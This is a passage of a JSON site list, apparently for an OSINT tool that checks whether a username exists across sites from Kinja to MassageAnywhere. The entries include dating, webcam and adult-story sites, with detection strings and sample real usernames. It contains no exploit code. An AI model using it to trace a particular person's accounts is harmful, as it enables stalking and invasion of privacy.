"Kinja": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 20637, + "urlMain": "https://kinja.com", + "url": "https://kinja.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kino-tv": { + "tags": [ + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 2478492, + "urlMain": "http://www.kino-tv-forum.ru", + "usernameClaimed": "emal", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kinogo": { + "tags": [ + "by", + "movies" + ], + "checkType": "status_code", + "alexaRank": 7547238, + "urlMain": "https://kinogo.by", + "url": "https://kinogo.by/user/{username}", + "usernameClaimed": "ridder2", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Kinooh": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://kinooh.ru", + "url": "https://kinooh.ru/user/{username}/", + "usernameClaimed": "zoll", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 460069 + }, + "Kladoiskatel": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 8329019, + "urlMain": "http://forum.kladoiskatel.ru", + "url": "http://forum.kladoiskatel.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "Aleksey54", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KnigiOnline": { + "tags": [ + "by", + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 1116768, + "urlMain": "https://forum.online-knigi.com", + "usernameClaimed": "brazilla", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Knowem": { + "tags": [ + "business" + ], + "checkType": "status_code", + "alexaRank": 34701, + "urlMain": "https://knowem.com/", + "url": "https://knowem.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kongregate": { + "tags": [ + "gaming", + "us" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "message", + "absenceStrs": [ + "Sorry, no account with that name was found." + ], + "alexaRank": 9707, + "urlMain": "https://www.kongregate.com/", + "url": "https://www.kongregate.com/accounts/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kontrolkalemi": { + "tags": [ + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "Belirtilen \u00fcye bulunamad\u0131. L\u00fctfen bir \u00fcyenin tam ad\u0131n\u0131 giriniz." + ], + "alexaRank": 90035, + "urlMain": "https://www.kontrolkalemi.com", + "url": "https://www.kontrolkalemi.com/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kosmetista": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "profile-content" + ], + "absenceStrs": [ + "\u0423\u043f\u0441! \u0412\u043e\u0442 \u044d\u0442\u043e \u043f\u043e\u0432\u043e\u0440\u043e\u0442!" + ], + "alexaRank": 48630, + "urlMain": "https://kosmetista.ru", + "url": "https://kosmetista.ru/profile/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kotburger": { + "checkType": "message", + "presenseStrs": [ + "Zamieszcza kotburgery od:" + ], + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "url": "https://kotburger.pl/user/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kriptom": { + "tags": [ + "tr" + ], + "checkType": "message", + "presenseStrs": [ + "Kay\u0131t tarihi" + ], + "absenceStrs": [ + "Kullan\u0131c\u0131 Detay\u0131 - Kriptom" + ], + "alexaRank": 43087, + "urlMain": "https://www.kriptom.com", + "url": "https://www.kriptom.com/user/{username}/", + "usernameClaimed": "firatimo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KristallovNet": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 3893024, + "urlMain": "https://forum.kristallov.net", + "usernameClaimed": "golodny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Krstarica": { + "tags": [ + "at", + "forum" + ], + "checkType": "message", + "absenceStrs": [ + "Tra\u017eeni \u010dlan nije prona\u0111en. Molimo unesite puno ime \u010dlana i poku\u0161ajte ponovo." + ], + "alexaRank": 15233, + "urlMain": "https://forum.krstarica.com", + "url": "https://forum.krstarica.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KubanForum24": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 2328868, + "urlMain": "https://kuban.forum24.ru/", + "url": "https://kuban.forum24.ru/?32-{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kuharka": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 206615, + "urlMain": "https://www.kuharka.ru/", + "url": "https://www.kuharka.ru/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kwejk": { + "tags": [ + "pl" + ], + "checkType": "status_code", + "alexaRank": 9254, + "urlMain": "https://kwejk.pl", + "url": "https://kwejk.pl/uzytkownik/{username}#/tablica/", + "usernameClaimed": "ralia", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LOR": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 39114, + "urlMain": "https://linux.org.ru/", + "url": "https://www.linux.org.ru/people/{username}/profile", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ladies": { + "tags": [ + "forum", + "ua" + ], + "engine": "phpBB", + "alexaRank": 519026, + "urlMain": "http://ladies.zp.ua", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Launchpad": { + "tags": [ + "tech", + "us" + ], + "checkType": "status_code", + "alexaRank": 16968, + "urlMain": "https://launchpad.net/", + "url": "https://launchpad.net/~{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LeetCode": { + "tags": [ + "coding" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 1859, + "urlMain": "https://leetcode.com/", + "url": "https://leetcode.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lenov": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 83646, + "urlMain": "https://lenov.ru", + "url": "https://lenov.ru/user/{username}/", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lesswrong": { + "checkType": "status_code", + "url": "https://www.lesswrong.com/users/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Letsbeef": { + "tags": [ + "us", + "vi" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 8418390, + "urlMain": "https://www.letsbeef.com", + "url": "https://www.letsbeef.com/forums/member.php?&username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Letschatlove": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "The user whose profile you are trying to view does not exist." + ], + "alexaRank": 1054898, + "urlMain": "https://letschatlove.com", + "url": "https://letschatlove.com/profile/{username}/", + "usernameClaimed": "Fusion", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Letterboxd": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, we can\u2019t find the page you\u2019ve requested." + ], + "alexaRank": 3822, + "urlMain": "https://letterboxd.com/", + "url": "https://letterboxd.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LibReviews": { + "checkType": "status_code", + "urlMain": "https://lib.reviews", + "url": "https://lib.reviews/user/{username}", + "usernameClaimed": "pat", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Liberapay": { + "tags": [ + "eg", + "finance", + "in", + "pk", + "us", + "za" + ], + "checkType": "message", + "absenceStrs": [ + "The requested page could not be found" + ], + "alexaRank": 195293, + "urlMain": "https://liberapay.com", + "url": "https://liberapay.com/{username}", + "usernameClaimed": "geekyretronerds", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Libraries": { + "tags": [ + "coding", + "in" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 68610, + "urlMain": "https://libraries.io", + "url": "https://libraries.io/github/{username}/", + "source": "GitHub", + "usernameClaimed": "snooppr", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LibraryThing": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "

    Error: This user doesn't exist

    " + ], + "alexaRank": 25927, + "urlMain": "https://www.librarything.com/", + "url": "https://www.librarything.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Librusec": { + "tags": [ + "br", + "ru", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "/a/300686", + "/a/280282" + ], + "alexaRank": 68771, + "urlMain": "https://lib.rus.ec", + "url": "https://lib.rus.ec/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lichess": { + "checkType": "message", + "absenceStrs": [ + "page-small box box-pad page", + ">

    No such player

    This username doesn", + "})()", + "IR0Cf7qpkpcOhvI9r03a0QbI" + ], + "alexaRank": 2374, + "urlMain": "https://lichess.org", + "url": "https://lichess.org/@/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "efxvyhnwrh", + "tags": [ + "gaming", + "hobby" + ], + "presenseStrs": [ + "us_profile", + "og:title", + "profile-side", + " data-username=", + "og:site_name" + ] + }, + "Liebe69": { + "tags": [ + "de" + ], + "checkType": "response_url", + "urlMain": "https://www.liebe69.de", + "url": "https://www.liebe69.de/profile-preview.php?username={username}", + "usernameClaimed": "klaus", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Life-dom2": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "" + ], + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 513568, + "urlMain": "https://life-dom2.su", + "url": "https://life-dom2.su/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lightstalking": { + "tags": [ + "forum", + "photo" + ], + "checkType": "status_code", + "alexaRank": 501303, + "urlMain": "https://lightstalking.us/", + "url": "https://lightstalking.us/members/{username}", + "usernameClaimed": "kent", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Likee": { + "tags": [ + "video" + ], + "checkType": "message", + "absenceStrs": [ + "https://likee.video/@/" + ], + "presenseStrs": [ + "user_name" + ], + "alexaRank": 38032, + "url": "https://likee.video/@{username}", + "urlMain": "https://likee.video", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "line.me": { + "checkType": "message", + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "Add LINE Friends via QR Code" + ], + "url": "https://line.me/R/ti/p/@{username}?from=page", + "usernameClaimed": "yoasobi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lingvolive": { + "disabled": true, + "tags": [ + "de", + "forum", + "it", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, an error occurred while processing your request." + ], + "urlMain": "http://forum.lingvolive.com", + "url": "http://forum.lingvolive.com/profile/{username}/", + "usernameClaimed": "tom-wick", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 17645 + }, + "Linuxfr": { + "tags": [ + "fr", + "tech" + ], + "checkType": "status_code", + "alexaRank": 290886, + "urlMain": "https://linuxfr.org/", + "url": "https://linuxfr.org/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LinuxMint": { + "tags": [ + "forum", + "ru" + ], + "alexaRank": 651304, + "urlMain": "https://www.linuxmint.com.ru", + "engine": "phpBB", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Listal": { + "tags": [ + "gb", + "in", + "us" + ], + "checkType": "response_url", + "urlMain": "https://listal.com/", + "url": "https://{username}.listal.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 27395 + }, + "Listed.to": { + "checkType": "message", + "presenseStrs": [ + "

    L

    " + ], + "absenceStrs": [ + "

    Featured authors

    " + ], + "url": "https://listed.to/@{username}", + "usernameClaimed": "listed", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Listography": { + "tags": [ + "in" + ], + "errors": { + "An error has occurred.": "Site error" + }, + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "No such user." + ], + "alexaRank": 64445, + "urlMain": "https://listography.com/adam", + "url": "https://listography.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiveInternet": { + "tags": [ + "ru" + ], + "errors": { + "\u041f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430.": "Site error" + }, + "checkType": "message", + "absenseStrs": [ + "xmlns=\"http://www.w3.org/1999/xhtml" + ], + "presenseStrs": [ + "!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN" + ], + "alexaRank": 1808, + "urlMain": "https://www.liveinternet.ru", + "url": "https://www.liveinternet.ru/users/{username}/profile", + "usernameClaimed": "marrietta", + "usernameUnclaimed": "noonewouldevereverusethis7" + }, + "LiveJournal": { + "tags": [ + "blog", + "ru" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 424, + "urlMain": "https://www.livejournal.com/", + "url": "https://{username}.livejournal.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiveLeak": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "channel not found" + ], + "alexaRank": 9373, + "urlMain": "https://www.liveleak.com/", + "url": "https://www.liveleak.com/c/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "LiveLib": { + "tags": [ + "books", + "reading", + "ru" + ], + "checkType": "status_code", + "alexaRank": 4524, + "urlMain": "https://www.livelib.ru/", + "url": "https://www.livelib.ru/reader/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiveTrack24": { + "checkType": "message", + "presenseStrs": [ + "profileinfodiv" + ], + "absenceStrs": [ + "not found" + ], + "alexaRank": 1325983, + "urlMain": "https://www.livetrack24.com", + "url": "https://www.livetrack24.com/user/{username}", + "usernameClaimed": "anna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Liveexpert": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 40588, + "urlMain": "https://www.liveexpert.ru", + "url": "https://www.liveexpert.ru/e/{username}", + "usernameClaimed": "velegor1984", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Livejasmin": { + "tags": [ + "us", + "webcam" + ], + "urlProbe": "https://www.livejasmin.com/en/flash/get-performer-details/{username}", + "checkType": "message", + "absenceStrs": [ + ":[]" + ], + "alexaRank": 67, + "urlMain": "https://www.livejasmin.com/", + "url": "https://www.livejasmin.com/en/girls/#!chat/{username}", + "usernameClaimed": "Dolce", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Livemaster": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2913, + "urlMain": "https://www.livemaster.ru", + "url": "https://www.livemaster.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiverpoolFC": { + "tags": [ + "forum", + "us", + "za" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 25572, + "urlMain": "https://forums.liverpoolfc.com", + "url": "https://forums.liverpoolfc.com/members/?username={username}", + "usernameClaimed": "jannno", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lkforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 805882, + "urlMain": "http://www.lkforum.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lobsters": { + "tags": [ + "in", + "us", + "vn" + ], + "regexCheck": "[A-Za-z0-9][A-Za-z0-9_-]{0,24}", + "checkType": "status_code", + "alexaRank": 252854, + "urlMain": "https://lobste.rs/", + "url": "https://lobste.rs/u/{username}", + "usernameClaimed": "jcs", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lolchess": { + "disabled": true, + "tags": [ + "kr" + ], + "headers": { + "accept-language": "en-US,en;q=0.9,es;q=0.8" + }, + "checkType": "message", + "absenceStrs": [ + "No search results" + ], + "presenseStrs": [ + "results were displayed out of" + ], + "alexaRank": 4911, + "urlMain": "https://lolchess.gg/", + "url": "https://lolchess.gg/profile/na/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LonelyPlanet": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6261, + "urlMain": "https://www.lonelyplanet.com", + "url": "https://www.lonelyplanet.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lookbook": { + "tags": [ + "in" + ], + "regexCheck": "^[^.]{1,}$", + "checkType": "message", + "absenceStrs": [ + "No Looks", + "404 error" + ], + "alexaRank": 26997, + "urlMain": "https://lookbook.nu/", + "url": "https://lookbook.nu/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lori": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 347374, + "urlMain": "https://lori.ru", + "url": "https://lori.ru/{username}", + "usernameClaimed": "Mishkova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LostFilmHD": { + "disabled": true, + "tags": [ + "es", + "movies", + "pl", + "ru" + ], + "engine": "uCoz", + "alexaRank": 9175, + "urlMain": "http://www.lostfilmhd.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lostark": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://la.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lottiefiles": { + "checkType": "status_code", + "url": "https://lottiefiles.com/{username}", + "usernameClaimed": "lottiefiles", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Love.Mail.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0417\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u0430@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://love.mail.ru", + "url": "https://love.mail.ru/ru/{username}", + "usernameClaimed": "irina_627", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lovemakeup": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://lovemakeup.ru", + "url": "https://lovemakeup.ru/profile/{username}", + "usernameClaimed": "Tompob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Loveplanet": { + "disabled": true, + "tags": [ + "dating", + "ru" + ], + "checkType": "message", + "errors": { + "has been temporarily blocked": "IP ban" + }, + "absenceStrs": [ + "\u0417\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u0430\u044f \u0432\u0430\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430.", + "\u0414\u0430\u043d\u043d\u044b\u0435 \u043e \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442", + "Information on selected user does not exist" + ], + "alexaRank": 8988, + "urlMain": "https://loveplanet.ru", + "url": "https://loveplanet.ru/page/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lowcygier.pl": { + "checkType": "message", + "presenseStrs": [ + "Zarejestrowany" + ], + "absenceStrs": [ + "B\u0142\u0105d 404 - Podana strona nie istnieje" + ], + "url": "https://bazar.lowcygier.pl/user/{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lurkmore": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 46272, + "urlMain": "http://lurkmore.to", + "url": "http://lurkmore.to/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{username}", + "usernameClaimed": "Finstergeist", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lushstories": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 171158, + "urlMain": "https://www.lushstories.com", + "url": "https://www.lushstories.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mac-help": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 1112345, + "urlMain": "https://www.mac-help.com", + "usernameClaimed": "newsbot", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MacPlanete": { + "tags": [ + "forum", + "fr", + "ma" + ], + "engine": "XenForo", + "alexaRank": 1669310, + "urlMain": "https://forum.macplanete.com", + "usernameClaimed": "pascal971", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Maccentre": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1267370, + "urlMain": "https://maccentre.ru", + "url": "https://maccentre.ru/board/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Macosx": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 726222, + "urlMain": "https://macosx.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Macqa": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://macqa.ru", + "url": "https://macqa.ru/member/{username}/", + "usernameClaimed": "vika", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mactalk": { + "tags": [ + "au", + "in", + "pk" + ], + "checkType": "message", + "absenceStrs": [ + "MacTalk" + ], + "alexaRank": 5722044, + "urlMain": "http://www.mactalk.com.au/", + "url": "http://www.mactalk.com.au/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Maga-Chat": { + "checkType": "message", + "absenceStrs": [ + "Page Not Be Found" + ], + "presenseStrs": [ + "Recent Updates" + ], + "url": "https://maga-chat.com/{username}", + "usernameClaimed": "jfc_haaber_89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mag-portal": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1797476, + "urlMain": "https://mag-portal.ru", + "url": "https://mag-portal.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "solp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Magabook": { + "checkType": "message", + "absenceStrs": [ + "Page Not Be Found" + ], + "presenseStrs": [ + "Recent Updates" + ], + "url": "https://magabook.com/{username}", + "usernameClaimed": "eric", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Magiimir": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://magiimir.com", + "url": "https://magiimir.com/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "olya", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7006711 + }, + "Magix": { + "checkType": "message", + "absenceStrs": [ + "(404 - Page not found.)" + ], + "alexaRank": 168753, + "urlMain": "https://www.magix.info", + "url": "https://www.magix.info/us/users/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MaidenFans": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 1118824, + "urlMain": "https://forum.maidenfans.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mama": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "presenseStrs": [ + "b-user-fullname" + ], + "alexaRank": 551160, + "urlMain": "https://mama.ru", + "url": "https://mama.ru/members/{username}", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mamochki": { + "tags": [ + "by", + "ru" + ], + "checkType": "status_code", + "urlMain": "https://mamochki.by/", + "url": "https://mamochki.by/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4938389 + }, + "Mamot": { + "tags": [ + "mastodon" + ], + "checkType": "status_code", + "urlMain": "https://mamot.fr", + "url": "https://mamot.fr/@{username}", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Mamuli": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1340670, + "urlMain": "https://mamuli.club/", + "url": "https://mamuli.club/profile/{username}", + "usernameClaimed": "Milypa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Manutd": { + "tags": [ + "forum", + "sport" + ], + "checkType": "status_code", + "alexaRank": 31730, + "urlMain": "https://manutd.one", + "url": "https://manutd.one/user/{username}", + "usernameClaimed": "Becks", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mapify.travel": { + "checkType": "message", + "presenseStrs": [ + "class=\"control-center\"" + ], + "absenceStrs": [ + "Nothing found - Mapify" + ], + "url": "https://mapify.travel/{username}", + "usernameClaimed": "mapify", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mapillary Forum": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 524835, + "urlMain": "https://forum.mapillary.com", + "usernameClaimed": "slashme", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MapMyTracks": { + "checkType": "message", + "absenceStrs": [ + "Sorry, there is nothing to see here" + ], + "presenseStrs": [ + "Daily distance this week" + ], + "url": "https://www.mapmytracks.com/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Marshmallow": { + "checkType": "message", + "absenceStrs": [ + "\u3054\u6307\u5b9a\u306e\u30da\u30fc\u30b8\u306f\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f" + ], + "presenseStrs": [ + "\u3055\u3093\u306b\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u304a\u304f\u308b" + ], + "url": "https://marshmallow-qa.com/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Martech": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "twitter:site" + ], + "url": "https://martech.org/author/{username}/", + "usernameClaimed": "james-green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MassageAnywhere": { + "checkType": "message", + "absenceStrs": [ + "MassageAnywhere.com: Search Results" + ], + "presenseStrs": [ + "MassageAnywhere.com Profile for " + ], + "url": 